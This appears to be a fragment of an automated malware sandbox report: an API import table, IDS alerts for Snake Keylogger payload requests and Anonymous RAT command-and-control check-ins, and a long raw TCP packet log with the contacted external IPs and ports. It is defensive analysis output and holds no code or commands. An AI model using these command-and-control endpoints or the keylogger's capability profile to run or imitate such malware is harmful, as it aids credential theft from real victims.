GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetComputerNameA, GetCPInfo, GetACP, FreeResource, InterlockedIncrement, InterlockedExchange, InterlockedDecrement, FreeLibrary, FormatMessageA, FindResourceA, FindNextFileA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumCalendarInfoA, EnterCriticalSection, EndUpdateResourceA, DeleteFileA, DeleteCriticalSection, CreateThread, CreateProcessA, CreatePipe, CreateMutexA, CreateFileMappingA, CreateFileA, CreateEventA, CreateDirectoryA, CopyFileA, CompareStringA, CloseHandle, BeginUpdateResourceA
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, ToAsciiEx, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OffsetRect, OemToCharA, MsgWaitForMultipleObjects, MessageBoxA, MapWindowPoints, MapVirtualKeyExA, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextLengthA, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
ole32.dll	CLSIDFromString
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
ole32.dll	CLSIDFromProgID, CoCreateInstance, CoUninitialize, CoInitialize
oleaut32.dll	GetErrorInfo, SysFreeString
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
shell32.dll	ShellExecuteExA, ExtractIconExW
wininet.dll	InternetGetConnectedState, InternetReadFile, InternetOpenUrlA, InternetOpenA, InternetCloseHandle
shell32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHGetMalloc, SHGetDesktopFolder
advapi32.dll	OpenSCManagerA, CloseServiceHandle
wsock32.dll	WSACleanup, WSAStartup, gethostname, gethostbyname, inet_ntoa
netapi32.dll	Netbios

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-30T04:59:08.131786+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49738	142.250.181.238	443	TCP
2024-12-30T04:59:08.153938+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49739	142.250.181.238	443	TCP
2024-12-30T04:59:08.668250+0100	2832617	ETPRO MALWARE W32.Bloat-A Checkin	1	192.168.2.4	49743	69.42.215.252	80	TCP
2024-12-30T04:59:09.101725+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49744	142.250.181.238	443	TCP
2024-12-30T04:59:09.187702+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49746	142.250.181.238	443	TCP
2024-12-30T04:59:10.329717+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49750	142.250.181.238	443	TCP
2024-12-30T04:59:11.024552+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49754	142.250.181.238	443	TCP
2024-12-30T04:59:11.404430+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49756	142.250.181.238	443	TCP
2024-12-30T04:59:11.886897+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	49766	118.107.44.219	19091	TCP
2024-12-30T04:59:12.203541+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49759	142.250.181.238	443	TCP
2024-12-30T04:59:12.394110+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49764	142.250.181.238	443	TCP
2024-12-30T04:59:13.211852+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49770	142.250.181.238	443	TCP
2024-12-30T04:59:13.368014+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49772	142.250.181.238	443	TCP
2024-12-30T04:59:14.033979+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49776	142.250.181.238	443	TCP
2024-12-30T04:59:14.034144+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49778	142.250.181.238	443	TCP
2024-12-30T04:59:15.092751+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49782	142.250.181.238	443	TCP
2024-12-30T04:59:15.117270+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49781	142.250.181.238	443	TCP
2024-12-30T04:59:16.176639+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49786	142.250.181.238	443	TCP
2024-12-30T04:59:16.195952+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49787	142.250.181.238	443	TCP
2024-12-30T04:59:17.159058+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49794	142.250.181.238	443	TCP
2024-12-30T05:00:28.548302+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	49785	118.107.44.219	19091	TCP
2024-12-30T05:01:45.453960+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	50264	118.107.44.219	19091	TCP
2024-12-30T05:02:54.328175+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	50265	118.107.44.219	19092	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 04:58:58.995712042 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:58:59.000727892 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.000802040 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:58:59.775223017 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.775238991 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.775248051 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.775258064 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.775268078 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.775279045 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.775288105 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.775298119 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.775305986 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.775321007 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.775393009 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:58:59.775393009 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:58:59.775393009 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:58:59.775393009 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:58:59.780222893 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.780235052 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.780251026 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.780258894 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.780271053 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.780280113 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:58:59.780308008 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:58:59.993017912 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.993046999 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.993058920 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.993071079 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.993100882 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:58:59.993146896 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:58:59.993285894 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.993300915 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.993313074 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.993323088 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.993347883 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:58:59.993370056 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:58:59.993747950 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.993758917 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.993771076 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.993783951 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.993797064 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:58:59.993827105 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:58:59.994314909 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.994327068 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.994338036 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.994348049 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.994360924 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.994364977 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:58:59.994373083 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.994383097 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:58:59.994421959 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:58:59.995160103 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.995171070 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.995182037 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.995223999 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.995225906 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:58:59.995235920 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.995245934 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:58:59.995271921 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:58:59.995281935 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.210942030 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.210954905 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.210972071 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.210980892 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.210990906 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.210999966 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.211018085 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.211065054 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.211455107 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.211464882 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.211474895 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.211483955 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.211505890 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.211525917 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.211791039 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.211844921 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.211853981 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.211863995 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.211873055 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.211896896 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.211926937 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.212466955 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.212476015 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.212486029 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.212492943 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.212502956 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.212508917 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.212512970 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.212524891 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.212527037 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.212536097 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.212546110 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.212570906 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.213378906 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.213388920 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.213397980 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.213407993 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.213418007 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.213427067 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.213433027 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.213437080 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.213452101 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.213457108 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.213473082 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.214265108 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.214314938 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.214315891 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.265603065 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.431888103 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.431900978 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.431910038 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.431917906 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.431927919 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.431931973 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.431938887 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.431981087 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.431994915 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.432007074 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.432069063 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.432082891 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.432092905 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.432102919 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.432113886 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.432136059 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.432503939 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.432521105 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.432528973 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.432542086 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.432569981 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.432739973 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.432760954 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:00.432806969 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.534260988 CET	49730	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:00.539122105 CET	8853	49730	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:01.773582935 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:01.778439045 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:01.778779984 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:01.975063086 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:01.975130081 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:01.975310087 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:01.990556002 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:01.990597010 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:02.558094978 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.558113098 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.558129072 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.558140039 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.558151960 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.558152914 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.558161020 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.558172941 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.558181047 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.558188915 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.558192968 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.558202982 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.558222055 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.558243990 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.563081026 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.563091040 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.563102007 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.563112974 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.563122988 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.563178062 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.563431025 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.642452002 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.642498970 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.770891905 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.770905018 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.770957947 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.771039963 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.771051884 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.771063089 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.771074057 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.771085024 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.771094084 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.771095991 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.771145105 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.771764040 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.771773100 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.771826982 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.771907091 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.771918058 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.771951914 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.772134066 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.772213936 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.772224903 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.772236109 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.772248030 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.772258043 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.772279024 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.772926092 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.772937059 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.772948027 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.772958040 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.772964001 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.772969961 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.772980928 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.772989988 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.773036957 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.773772955 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.773785114 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.773794889 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.773813009 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.773837090 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.855340004 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.968755960 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.983990908 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.984004021 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.984014034 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.984021902 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.984033108 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.984041929 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.984051943 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.984077930 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.984205008 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.984242916 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.984245062 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.984251976 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.984261036 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.984272003 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.984304905 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.984647989 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.984658957 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.984669924 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.984675884 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.984687090 CET	8853	49731	118.107.44.219	192.168.2.4
